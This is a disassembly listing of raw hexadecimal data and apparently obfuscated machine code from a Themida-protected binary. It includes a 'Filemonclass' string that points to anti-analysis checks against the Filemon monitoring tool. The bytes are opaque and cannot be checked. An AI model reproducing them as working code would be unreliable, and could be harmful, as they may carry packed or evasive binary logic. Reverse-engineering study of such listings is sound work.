858D07E4h, 7E7B0A7h, 68D0FFh, 6A000080h, 0D0FF5200h dd 0BD83C08Bh, 7E413F1h, 83097500h, 0E40935BDh, 19740007h dd 0C08B5350h, 421B8h, 0ED858900h, 8D07E40Eh, 0E6EA579Dh dd 5BD3FF07h, 35BD8358h, 7E409h, 53501774h, 421B8h, 0ED858900h dd 8D07E40Eh, 0E6E6F89Dh, 5BD3FF07h, 8DC08B58h, 0E404059Dh dd 0B038B07h, 7840FC0h, 8B000000h, 45B8B03h, 41B81889h dd 0E800004Bh, 6, 0EF7BC23Ch, 0B8660F0Bh, 0B95E7607h, 6755B718h dd 5A4CC681h, 81660000h, 0BAEBA8D1h, 0 dd 148F0Fh, 0FE90000h, 0C2000000h, 0F35D6709h, 1F18C233h dd 0E4D73DFEh, 34FF338Bh, 68E38132h, 5F2BA3CDh, 81A3F580h dd 0D8A442C7h, 0C3816031h, 3B80EF7Ch, 0ECB96660h, 0EE8A1h dd 0BC7B0000h, 6C09598Fh, 295C8234h, 0A9DE07FEh, 81616158h dd 0DFD16EC7h, 0C0E38015h, 0B172C781h, 0C38B1071h, 0F5163C89h dd 3CD88166h, 1EA83D2h, 5810Fh, 0B5600000h, 4A61FC53h dd 0BA604A4Ah, 2E765561h, 8161FA8Bh, 0FFA664FAh, 8B850FFFh dd 50FFFFFFh, 581CC480h, 10E8h, 70223D00h, 5150BE21h, 26E8C3E9h dd 0BC0451Ch, 14E8DEh, 0FF9C0000h, 0DED8818Ch, 0FC246434h dd 92E480E9h, 5096A0C6h, 880F9039h, 16h, 11E9h, 0CCC21F00h dd 750FBFBDh, 0A7B39804h, 0E01BD07Fh, 5859EBBDh, 0BE9h dd 257EB500h, 0E952B6CEh, 7CBCDA8Eh, 0E811C081h, 0F18B0000h dd 9E9D22Bh, 74000000h, 84F8B25Dh, 0BBC9F42Fh, 0F80234FFh dd 81EC8A5Fh, 0B0CBCEFh, 89F7817Fh, 0F148F64h, 138Dh, 0EE900h dd 0ACA30000h, 86483859h, 0AB2CEE96h, 0E19131D4h, 0CFFBEF81h dd 0EE92F0Bh, 6D000000h, 0E26EF24Bh, 0C9CB43B9h, 0E4896FC0h dd 103C8915h, 5E9h, 5FD45900h, 0EA83F2B2h, 4A4AFC02h, 8178C580h dd 0FF18D0FAh, 99850FFFh, 0FFFFFFFh, 981h, 3880F00h, 80000000h dd 0ED554AC3h, 7A5E75FDh, 69A476F6h, 49BC56E6h, 254209FDh dd 256C6FFDh, 257AACFDh, 25FE02FDh, 253BFCFDh, 25D9EAFDh dd 25A8B3FDh, 251090FDh, 254C8FFDh, 256DCAFDh, 257A83FDh dd 25F0E4FDh, 253441FDh, 25D626FDh, 25A703FDh, 251ECFFDh dd 254213FDh, 8A259DFDh, 0A2229535h, 714A76D6h, 4BBD5CDEh dd 7A5A5CF4h, 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh dd 7BF374F5h, 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 640D76FDh dd 65DE75A2h, 7ACB75A2h, 7BE475FDh, 7BF374FCh, 0B29074FCh dd 1ABC75F8h, 1E85F070h, 0FFA67216h, 7D7C14EFh, 1E3AF070h dd 0FF6C7216h, 7D19152Fh, 1F56F070h, 0FF357216h, 7DB514F3h dd 1EA0F070h, 0FF1E7216h, 7D20152Bh, 1EABF070h, 0FF7B7216h dd 7D921527h, 1850F070h, 0FFD77216h, 7DC41523h, 1869F070h dd 0FF427216h, 7D0E151Fh, 19E6F070h, 0FFF07216h, 7D57151Bh dd 1931F070h, 0FFA67216h, 7D7C150Fh, 19F0F070h, 0FF6C7216h dd 7D191517h, 1923F070h, 0FF357216h, 7DB51513h, 1940F070h dd 0FF1E7216h, 7D20150Fh, 194CF070h, 0FF7B7216h, 7D9214FFh dd 1974F070h, 0FFD77216h, 7DC414FBh, 197CF070h, 0FF427216h dd 7D0E14F7h, 1EC6F070h, 0FFF07216h, 7D57150Bh, 1E35F070h dd 0FFA67216h, 7D7C1507h, 1FCDF070h, 0FF6C7216h, 7D191503h dd 5DE4F076h, 0FF357219h, 7DB514B6h, 56D2F076h, 0FF1E7219h dd 7D2014B2h, 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 91DE2A17h dd 3FD525FAh, 30ADFDF5h, 22909E9Ch, 7ACFB734h, 29B723ACh dd 7A1A20ADh, 277975FDh, 183C987Ch, 0FFA07216h, 7DC4152Ch dd 1A46C87Dh, 9CF7216h, 75E4C5B4h, 0BAF9B54Bh, 0EF863589h dd 7D5714B2h, 2B96FEBDh, 7A2F7A45h, 35028AFDh, 0F7CC9E9Ch dd 9185A748h, 0FCC6F8FAh, 7E4B9D50h, 6FCF75FDh, 7A5E7645h dd 35BA8AFDh, 0F7909E9Ch, 91ABA748h, 0FCD1F8FAh, 23228A50h dd 0F787BC1Fh, 7D57152Ch, 20052DA0h, 92EC2CA3h, 7A97776Dh dd 79C1CD4Dh, 31708A57h, 0D1F59E9Ch, 78079D3Eh, 0C2DA75FDh dd 5954CD9Bh, 0EFD0DE9Bh, 7D7C14B6h, 9208DE9Bh, 7AE57795h dd 72F3360Bh, 0EF866E88h, 7D5714B6h, 7954C54Dh, 31BA8AADh dd 20909E9Ch, 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh dd 7ABE4E15h, 0A0652FFDh, 59A57B89h, 7094913Dh, 0BA07F5DFh dd 0D183FE4Dh, 7B009D3Eh, 922A75FDh, 7ABC77E1h, 0E844EA7h dd 0D049C512h, 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h dd 207975FFh, 72BD360Bh, 0A0655488h, 59A56889h, 7094913Dh dd 0BA07F5DFh, 85B5FF4Dh, 91933E68h, 5F1F2FFAh, 71DA51FDh dd 0B9F5133Fh, 9285E94Dh, 7A9774BDh, 9261F44Dh, 7AE57435h dd 7AF22D15h, 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h dd 1C9775FCh, 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh dd 7BB69D56h, 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh dd 8CE575FCh, 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h, 9EDEDFFDh dd 84487DF9h, 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh, 0EF0D75FDh dd 7D9214B2h, 1BAAC070h, 8A5D7216h, 0D02C7F51h, 1BDCE002h dd 92087216h, 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h dd 0CA5E75FCh, 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h dd 4BFDCD9Bh, 6B91DE9Bh, 0CA438A03h, 22EEDFA7h, 929FB657h dd 923C2257h, 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h dd 92438A00h, 7A5E7505h, 79252D4Dh, 0FF69B657h, 7D201535h dd 1A2DC87Dh, 0FF37216h, 40FCF8ECh, 2ABB9E9Ch, 7A5C6115h dd 781B9DFDh, 1A2775FDh, 87759D57h, 0C30D8A02h, 0CA0D8A00h dd 0F787DF9Ch, 7D571535h, 1A96C87Dh, 0F2F7216h, 4012F8F1h dd 2ACC9E9Ch, 7AE4DE15h, 7E4AB6FDh, 857975FDh, 91DD3A68h dd 0EDC3F8FAh, 0F0289E98h, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h dd 0F1A875FDh, 0F9BB5E3Ah, 78357115h, 31CB8A3Eh, 0CE289E9Ch dd 0E96514Ah, 0CA74C1FFh, 924E13F2h, 7AF275C9h, 7A279DAEh dd 0F0E675FDh, 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7D2014B6h dd 0FAEA917Dh, 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h dd 92ACB7D6h, 0B995FCF9h, 7ACB7345h, 35708AFDh, 0F7F59E9Ch dd 91185B60h, 39A0F8FAh, 7A4ECD3Eh, 0EFD075FDh, 7D7C14B2h dd 0F1CEB57Eh, 0EF1A8935h, 7D1914B6h, 0B98E9757h, 8543BE15h dd 7B1DFF02h, 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h dd 0F1A78908h, 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 914AD217h dd 86EAFCFAh, 1B81CF7Dh, 75E57216h, 7AF2EC79h, 7A73CDFDh dd 0E84375FDh, 7DB514B2h, 29ADFCBDh, 0F1909E9Ch, 179F835h dd 85E29E9Bh, 91933E6Fh, 3C7FFDFAh, 6D04801Fh, 795E75FDh dd 914E267Fh, 0E01A35FAh, 7D201392h, 0F3E1B67Eh, 644B22FEh dd 797975FDh, 91DD2677h, 27ECF8FAh, 89289E9Bh, 722F2B59h dd 85CB75FDh, 91843A6Fh, 7E0AF6FAh, 7C718589h, 7ABC7244h dd 4B5A7DFDh, 0BBF7C3F2h, 742E761Eh, 72CB75FDh, 765C44E1h dd 72F275FDh, 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh dd 5B7F44F9h, 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh dd 229C75FDh, 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h dd 3A7867C9h, 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h dd 7A2F7515h, 90162FFDh, 7D201373h, 1BB2CF70h, 0F797216h dd 7A71CCF5h, 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7D7C14AAh dd 7BD3497Dh, 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh dd 0FB0475FDh, 9149B217h, 2D25F8FAh, 0F1CC9E9Ch, 725C7D80h dd 89F275FDh, 0B8B01459h, 0F7DC75F9h, 913F2240h, 0C3EF46FAh dd 7A9775F5h, 0B9AADF0Eh, 2D58F89Dh, 0FBF59E9Ch, 7B7874C2h dd 0FBB000FCh, 7B5F7182h, 795A74FCh, 82969E04h, 0F7ABB69Ch dd 91842240h, 7AF3CDFAh, 72C075FDh, 89BC75FDh, 0F19D1457h dd 0F7EFFE3Dh, 91F61178h, 8BD08AFAh db 0CAh, 0EBh, 16h aFilemonclass db 'Filemonclass',0 ; DATA XREF: Themida_:00582EA4o dd 0 dd 1000000h, 54C01h, 6A07EB00h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 7BFC357h, 0C794F209h dd 0F0C17DBh, 66605690h, 5774F5B9h, 505B6159h, 6A90D88Bh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0FE80C356h, 6A6B18h, 59506057h, 50DA8166h dd 6A5F6182h, 0D1BD8B00h, 8D07E406h, 0EB686785h, 7D8D8B07h dd 9007E42Bh, 80BF5760h, 59762512h, 0BE9h, 0CA253200h dd 561EE1C7h, 0D78D38Fh, 60515061h, 8B66E18Ah, 905B61C3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7DC35242h dd 8B1EBCDCh, 0BB66023Dh, 6A698Dh, 6FD98166h, 81006ADFh dd 0A77E25CFh, 7195FF35h, 6007E424h, 3579958Bh, 0F18B07E4h dd 5DEE961h, 6A0000h, 3E856h, 5E200000h db 0C3h byte_5F8CCD db 5Eh, 89h, 74h ; DATA XREF: Themida_:00584640o dd 44810424h, 140424h, 56460000h, 8B6051C3h, 0E40A85B5h dd 0D1958907h, 6107E431h, 17D8D01h, 0E807E4h, 5D000000h dd 686CED81h, 6A07EBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 87FA5FC3h, 2094BA66h, 0EB0EEF81h dd 0FD8A371Ch, 70D7FE68h, 0D88B6622h, 5E243481h, 892270D8h dd 0E41C459Dh, 4195FF07h, 6A07E40Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0DA9EC353h dd 0BD8BDC8Ah, 7E4092Dh, 6738B58Dh, 0B96607EBh, 6C74C51h dd 6D676552h, 25D99D89h, 0F98B07E4h, 6F0446C7h, 6A6C636Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0F915C350h, 84DC6535h, 6214D113h, 30C18166h dd 846C7FAh, 737361h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 25C35747h, 8BB3C1B1h, 0E417C5BDh, 6A006A07h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 383EC352h, 89179C77h, 0E403458Dh, 38858D07h dd 6A07EB67h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 535AC350h, 0F1160144h, 56C1A7F5h dd 68D0Fh, 85310000h, 7E41AC1h, 0F19D0B5Fh, 5007E417h dd 0AE95250h, 92000000h, 0FB87833Dh, 91865DE0h, 66310F68h dd 5A471EB9h, 24048958h, 19CD9D89h, 95FF07E4h, 7E42C35h dd 0BFB0EA81h, 0C00B5DD1h, 1B840Fh, 8B660000h, 3D4E9D9h dd 820F0000h, 0Dh, 8E9h, 9BDB9B00h, 44D16373h, 0A126685Fh dd 0EE94929h, 85000000h, 0B3B601E4h, 2D3E9505h, 88256831h dd 24348105h, 4929A00Ah, 95FFFBB5h, 7E40E41h, 0DE8h, 6E60BF00h dd 819096E0h, 1AD20BF4h, 8166F722h, 59FC7CC1h, 6738B58Dh dd 6A07EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 808702C3h, 2820FD2h, 0B1000000h, 3106C730h dd 6A363438h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 9F91C357h, 858948CEh, 7E41925h dd 6870Fh, 9D890000h, 7E4207Dh, 370446C7h, 6A31342Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 9242C355h, 38D464E4h, 958BF3BDh, 7E42D51h, 846C7h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8989C355h, 0E40A19BDh, 6E807h, 52950000h dd 1DBCB146h, 8C0F50h, 59000000h, 6A006A59h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 0FDB1C351h, 30B62CEBh, 950364CAh, 7E42631h, 0DE85752h dd 0F9000000h, 94919A12h, 96978E7Ch, 63CB4D0Dh, 8D5B5B5Fh dd 0EB673885h, 3BA6607h, 52509017h, 0D98B6656h, 0E9310F5Bh dd 7, 39F3A3E6h, 5ADF77A1h, 8E85058h, 0B5000000h, 2DBA95F9h dd 0BF4B1A75h, 1C074147h, 9D33905Bh, 7E42D59h, 2C3595FFh dd 0BD8B07E4h, 7E42EFDh, 0C5CED781h, 0C00B7B96h, 45840Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0E33005C3h, 1D9AD6F2h, 0FD958960h, 0E807E41Ch dd 8, 91079735h, 5AB9ABFFh, 61585A56h, 241DB589h, 0D3E907E4h dd 68000001h, 0F4A81A0h, 348196B7h, 4A808C24h, 4195FF0Fh dd 907E40Eh, 0E4333D9Dh, 0F605007h, 8Fh, 0EE900h, 3DC50000h dd 4133086Ch, 3684110Ch, 34D50029h, 0B58D5B61h, 7EB6738h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 76C35141h dd 0F741CCC6h, 6E64964Ch, 4606C75Ch, 0B1656C69h, 446C763h dd 636E6F6Dh, 6880Fh, 950B0000h, 7E42C51h, 25BDB531h, 46C707E4h dd 73616C08h, 51006A73h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0DA4B75E4h, 0EDF517h, 9D89ACE9h dd 7E40E69h, 0AE8h, 0FA8F0700h, 58763D57h, 66FB658Ah, 5B0701BAh dd 0C46C7h, 0F000000h, 586h, 95D9BB00h, 6A0E2Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 29C35343h, 9B4C6A95h dd 0EE580AD2h, 0E99D8BFEh, 8D07E40Eh, 0EB673885h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 8DA1AF80h, 0EF406B4Fh, 8B669046h, 0D2B250F9h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0C3F95BA0h, 0C3DACFF8h, 0FCB63493h, 2C3595FFh, 6A07E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 86DEDAC3h, 0C00BFFDCh, 35840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D8989C3h dd 7E43075h, 598D2356h, 5A07E42Bh, 15E9h, 0C59D8B00h, 0E907E420h dd 0FFFFFAA6h, 18B0Fh, 66F90000h, 0B58DCF8Bh, 7E472B7h dd 0DE58D33h, 0B807E4h, 0F000000h, 68Dh, 39858900h, 0FF07E431h dd 57006AE6h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0ED2268C8h, 253A3B77h, 9D8B3C42h, 7E4140Dh dd 29E9C18Bh, 72000039h, 0CEE4789Ah, 2B41D5F5h, 8BA1354Fh dd 0EE0498ACh, 8A63F713h, 0F410EB64h, 52704A60h, 0B4CAA8BEh dd 152D0A20h, 0A11ECE81h, 13A9CEDAh, 54A43378h, 17F49277h dd 0A0F48B08h, 0F9621442h, 0BBCD68A0h, 65ACC4A1h, 7A5621AAh dd 38502Dh, 0AAC50C65h, 61795621h, 7A9A7311h, 7D4E9368h dd 165D7D56h, 35922092h, 4159ABCBh, 77E0692Fh, 94CBAF1Fh dd 0D3EBE0EFh, 7C56F193h, 0D932522Bh, 0B618AA92h, 37C8B644h dd 0E24DE0DFh, 1442411Dh, 693E50B9h, 165D7D56h, 785621AAh dd 7D5C2A62h, 2AF33169h, 3634367Ah, 0EBB8DC4h, 8FA13385h dd 0E893D3BAh, 0A0720986h, 77E01442h, 79569065h, 42A0AD4Fh dd 6ABA2314h, 0A8E1BFF8h, 1C2EBEDEh, 450AC147h, 0AC108203h dd 0FAA1C5FAh, 0A444192Bh, 0F193D327h, 0AD4F7956h, 231442A0h dd 3B94A887h, 87E9D9F4h, 42A0750Ah, 6678E114h, 61795691h dd 567D4E1Ah, 0AA1B6278h, 62785621h, 0B618AA1Bh, 0B5203E18h dd 1442A0CEh, 0B897238Ch, 0BFD16CA4h, 880E45EAh, 93D317B4h dd 576B4AE8h, 78567045h, 7D4E1B62h, 0F5F7B56h, 40789871h dd 0DBCAA69Eh, 6BC4C30Eh, 20928459h, 8BA6F46Dh, 16C5D730h dd 5F7B565Fh, 5B0AC118h, 0E893D370h, 0A0720986h, 77E01442h dd 79569065h, 21AA1A61h, 175E7C56h, 9C7A18AAh, 0A1B34E86h dd 0D3EBE0CCh, 7856F193h, 0E5DD1B62h, 19516B47h, 0FD15F27Eh dd 785616EBh, 5C661B62h, 0B8CAE0BEh, 627856E3h, 567D4E1Bh dd 0B0126278h, 42A04C33h, 8F6E0A14h, 3B10227Bh, 785621AAh dd 33B01262h, 1442A04Ch, 0A2DAF2CFh, 3B4DB607h, 560AC166h dd 0C11B6278h, 92705B0Ah, 75F33C20h, 0F204291Ah, 92731155h dd 0B0327720h, 54662906h, 0CE4B603Ah, 14425E29h, 5E5229A6h dd 97001442h, 3D84DD46h, 0F4920AC1h, 0D2ECFE18h, 0F08EDEF4h dd 10E5F717h, 4177F2D9h, 1914425Fh, 1B627856h, 78567D4Eh dd 85A01262h, 2155BEA7h, 0C1EABFD1h, 4F79560Ah, 1442A0ADh dd 39B0B323h, 5A663C0Fh, 0AC1BA01h, 93D314B7h, 2F7856F1h dd 69043C50h, 0F2D9C910h, 1B627856h, 9512744Eh, 1442A0EEh dd 1CF1036Ch, 19607A56h, 7D5621AAh, 0EEDD165Dh, 19607A56h dd 44776566h, 14144240h, 10607A56h, 77A26E9Eh, 0AD48809Ch dd 0BE61244Dh, 7D4ED7ACh, 19607A56h, 367721AAh, 0FDEBBD5Fh dd 0EBCFF8Bh, 7183A267h, 6179569Ch, 677D5B29h, 6E82612Fh dd 0D79E9B36h, 0E7E6E3AFh, 56F193D3h, 9219607Ah, 0F3CE15F4h dd 0AB049FD7h, 0FF9D7799h, 33CE0626h, 78564C21h, 21AA1B62h dd 45B3CE77h, 1BF795E0h, 1C2EC901h, 44E2E047h, 6A3F5165h dd 0CCB33092h, 8A1442A0h, 0C0F812EEh, 0FF7CCC25h, 1442A078h dd 0BE5B6DD6h, 1461D386h, 6843CFECh, 56FACFE1h, 7210607Ah dd 0AA457D95h, 7D4EC398h, 8F202092h, 9BCDE959h, 15876D89h dd 0AD851762h, 0D0A5B719h, 3B777754h, 0A1442BFh, 80542BA8h dd 99021442h, 7856B287h, 0E33C502Fh, 0CF16F593h, 39ED6F6h dd 0AAC398AAh, 6B09B921h, 0A03B7391h, 3092B98Eh, 0DB2266BEh dd 0ECFE9748h, 42ED0CF3h, 0EC69CB14h, 1442ED17h, 344827C3h dd 0F60861FCh, 9267AE17h, 0A0CCB330h, 307B1442h, 9D061F9Ah dd 1693F344h, 1442E161h, 0CB2B84EDh, 76BEA32Fh, 0BEE0F264h dd 0B82277EDh, 53F11442h, 910E5E76h, 1442B9EAh, 18EDFF68h dd 1A617956h, 12B921AAh, 0B5923092h, 0ED928B9Dh, 6A1442A0h dd 30EE73F8h, 43D93955h, 0CBE7C26Bh, 8D9FF893h, 1A3812AEh dd 0F4927AC1h, 9472FE18h, 794A6C7Eh, 42DD5177h, 77562914h dd 97751363h, 929A6F81h, 0ECCB18F4h, 0AC477FD8h, 182A4420h dd 0DF4EC052h, 9C1774F7h, 0EB17F8h, 227B9E7Bh, 79563B10h dd 658E2961h, 6E1592BEh, 0EC1442A0h, 7D4E3C83h, 0D9EDCCBAh dd 5C67445h, 42A08077h, 0E6E55814h, 4AE893D3h, 7045576Bh dd 115F492h, 61DE2EC9h, 1442A09Ah, 0FBBDCF38h, 5E7C566Ah dd 0F00D9C0Eh, 0FD43813Eh, 309216EBh, 0AA7135BEh, 3EA9E655h dd 14429CB9h, 859B7915h, 985FDC2Ch, 3614429Ch, 6CF5BBCDh dd 159212B9h, 1442A06Eh, 4E3C83ECh, 607A567Dh, 9221AA19h dd 0ECFE18F4h, 6DAE42F3h, 9573114Dh, 56986D7Fh, 4E19607Ah dd 697A567Dh, 42A017ECh, 15AC314h, 1AF492BAh, 9B24EAFCh dd 0AC85239Fh, 0AA86548Ch, 46D73790h, 0F6E7ED58h, 0D3DAAFC1h dd 744EF193h, 0A0EE9512h, 36C1442h, 7A561CF1h, 199E1060h dd 2D4522ADh, 45FA5AF5h, 5227391Eh, 2C9F21AAh, 4EF193D3h dd 607A567Dh, 7D957210h, 7F9D7745h, 0A259D626h, 301442A0h dd 0AAE0B5C7h, 4239B618h, 101442A0h, 77C095A7h, 4A898CDBh dd 0D30BC0B3h, 986E893h, 1442A072h, 906577E0h, 16F492h dd 11B2DC8h, 4EC40B25h, 597A567Dh, 0CE225677h, 3C520B89h dd 11900868h, 920047A0h, 0EDFF17F4h, 7C569E27h, 7D4E175Eh dd 19607A56h, 0F4927D4Eh, 0CFE9FB1Bh, 0AA93DAF2h, 0FF057721h dd 56D5049Ch, 921A6179h, 0A0CCB330h, 218A1442h, 0A0AF54D1h dd 0C22B1442h, 56BD8EB0h, 92175E7Ch, 0C80016F4h, 47370226h dd 0C9229C94h, 5668F1B7h, 0AA1A6179h, 607A5621h, 667C5A28h dd 6787602Eh, 0AFE3A36Ah, 93D3B3B2h, 213076E8h, 0B4F88A15h dd 0F492CDA2h, 29C4FC1Ah, 523FD17h, 72092BEh, 5D4540D6h dd 639BB792h, 3B5D6FC8h, 0AA12B96Ah, 61795621h, 927D4E1Ah dd 0C7FF17F4h, 0A0C3B835h, 268F1442h, 5011BBCDh, 42A08077h dd 5E6D5814h, 0AEF193D3h, 5E7C561Dh, 9221AA17h, 0AC3D120h dd 65777F63h, 4C256C4Bh, 0E562F42Ch, 1442D51Eh, 0A1FA53BCh dd 6D21AA5Ah, 0E893D35Eh, 43556D4Ah, 2B7C566Eh, 8ADA3351h dd 0D9EC13ECh, 95D7AA3Bh, 6946D22Bh, 6C7E1951h, 567D4E97h dd 0AA1B6278h, 4239B618h, 101442A0h, 25DA57A7h, 0B11442A0h dd 77613648h, 49CFF05h, 2F7856D5h, 20D3253h, 9B38C76Ah dd 166F0A42h, 567D4ECFh, 0AC0E5E7Ch, 42A0482Fh, 8B9D0614h dd 5621AAB6h, 0A4CB5B78h, 3C38487Ah, 21AA9CE3h, 93D35E6Dh dd 5E7C56F1h, 567D4E17h, 9EE6B78h, 0C51442A0h, 41B3035Ch dd 0CCC81D4Dh, 754A5CD0h, 474D7D4Eh, 0A81E1B60h, 3A54B4CAh dd 4289E25Ah, 115F492h, 561C2EC9h, 617956CDh, 567D4E1Ah dd 4E175E7Ch, 0E3F7D674h, 51637957h, 0B34B777Ch, 56231442h dd 0AE10607Ah, 42A04A31h, 0CA980814h, 6D4DF3C8h, 0F3C8DA33h dd 0CCB33092h, 8A1442A0h, 0C0490F21h, 926B09B9h, 8D9F3A72h dd 6E1592B8h, 0EC1442A0h, 7D4E3C83h, 7A5605C6h, 20921960h dd 26D6BF9Dh, 9EC0D291h, 1EE562C4h, 0BC1442DFh, 926C4153h dd 0C80016F4h, 25011B2Dh, 21AAC40Bh, 42A08077h, 5E6D5814h dd 56F193D3h, 4E19607Ah, 16F4927Dh, 69D3A000h, 7840600Ch dd 56704C66h, 7721AA0Fh, 1442A080h, 5F7B5658h, 647C5927h dd 7E26ED2Ch, 0CB2D3532h, 42A0A94Eh, 0F50DEA14h, 54293BA4h dd 92F193D3h, 9C626320h, 495B1023h, 0E939532Fh, 43556F4Bh dd 927D4E6Eh, 0EFCA19F4h, 0A7009BD3h, 529F7B95h, 92245C76h dd 42A06E15h, 2A83EC14h, 21AA8AD1h, 439709B9h, 4B5F3E88h dd 2F6759EBh, 3092481Dh, 0A0AA51CEh, 0C8281442h, 42A0B44Bh dd 60B92214h, 0A0AE554Eh, 8F2D1442h, 0A88799B3h, 18AAF83Fh dd 0A04239B6h, 4011442h, 9440FFBCh, 7284ED3Eh, 6402C09Dh dd 9A356D89h, 93D3B388h, 607A56F1h, 927D4E19h, 42A06E15h dd 5A83EC14h, 182E0CAAh, 18AA3106h, 4A82A07Ah, 56C89DAFh dd 9219607Ah, 0EECD16F4h, 0A96F81DAh, 0D30BC020h, 12B9F193h dd 0A06E1592h, 83EC1442h, 927D4E3Ch, 0ECFE18F4h, 95DCF6D2h dd 12B921AAh, 0A06E1592h, 50EC1442h, 87225A74h, 21AAE72Eh dd 93D30BC0h, 607A56F1h, 0AE7D4E19h, 1BF4921Dh, 0F0CFE9FBh dd 0AD2A8CDCh, 1442A0D6h, 0F00EE884h, 0B2C41DB8h, 0A618AADDh dd 0F67B1236h, 5DAEC1Ch, 275F7B56h, 92BC638Ch, 0C6FE18F4h dd 0A0C0B734h, 258E1442h, 470C6CCCh, 82EEC8DDh, 6E159270h dd 0ED14424Ch, 9C9EAD7Bh, 0DBEDE5B5h, 924C93FCh, 0E9FB1BF4h dd 0E8BEDC7h, 1442A069h, 0CCAD75E5h, 0A2D68290h, 92623749h dd 0C90115F4h, 57231C2Eh, 61442A0h, 0FE7B8C68h, 1442A079h dd 1136CD5h, 0B330922Ch, 1442A0CCh, 0F50F218Ah, 4EBB0216h dd 6179567Dh, 7A18AA1Ah, 0AF4A82A0h, 7756C89Dh, 9B751363h dd 0AA966B7Dh, 879B7A18h, 4D28B44Fh, 564A1F31h, 58265E7Ch dd 0E8275F7Fh, 8E2D6521h, 0ED2092D3h, 0E6292617h, 9EC66375h dd 617956E4h, 0B97D4E1Ah, 5621AA12h, 0B1136377h, 42A04F34h dd 90A20B14h, 0C67D4EBBh, 0A0807705h, 6D581442h, 0BFDDB755h dd 8260EC87h, 0D3855A6Ch, 1DAEF193h, 0ED6A7956h, 1442A016h dd 304E28C4h, 576D4BD7h, 0E42B841Fh, 817721AAh, 591442A0h dd 93D3418Ah, 176A95F1h, 0CA2CE05Ch, 42A2B64Dh, 2BB42414h dd 63E78CD7h, 0F594A6FFh, 2F2h, 50997715h, 89245C72h, 0D5DF830h dd 422DEB90h, 0ECFE6714h, 5F7B5617h, 4B30AD0Fh, 71442A0h dd 1F788C6Bh, 21AA380Dh, 42A08777h, 7B565714h, 7D4E185Fh dd 42FC2A77h, 20920214h, 14613F28h, 0D99FCFAEh, 0AA59E36h dd 1FE461B1h, 0BB144296h, 4A264052h, 0C6757B29h, 0AD060F7Ah dd 0B921AA66h, 6E159212h, 0EC1442A0h, 0C69FD57Ch, 166FCAE3h dd 19F492CFh, 182AC5FDh, 209225F6h, 748FED56h, 0C9698B39h dd 0C6121F7Fh dd 28453E50h, 0B45DD833h, 19607A56h, 7A567D4Eh, 879E1060h dd 0FB0DBC0Bh, 0C8E7D37Eh, 0FF58EEC8h, 6D7F9573h, 7721AA98h dd 0AFA55527h, 0D35E6DF7h, 0F492F193h, 0CFE9FB1Bh, 0EB89D9F3h dd 0F810F10Ch, 4B0375EBh, 0D1FBAF2h, 17F49238h, 7A9A73FFh dd 56754668h, 35552E79h, 10EE8CDCh, 0A812BF3h, 2A838A6Fh dd 0ECCB57F2h, 0F305A0D8h, 9221AA1Eh, 0C7FF17F4h, 24001A2Ch dd 21AAC30Ah, 93D3E6E5h, 1AF492F1h, 1729C4FCh, 0FAD520FDh dd 4E3E85DEh, 0DFFBD674h, 7A56F8CDh, 0A017EC69h, 5AC31442h dd 2092BA01h, 37904E57h, 837E5048h, 0AD797F17h, 0D1EDC854h dd 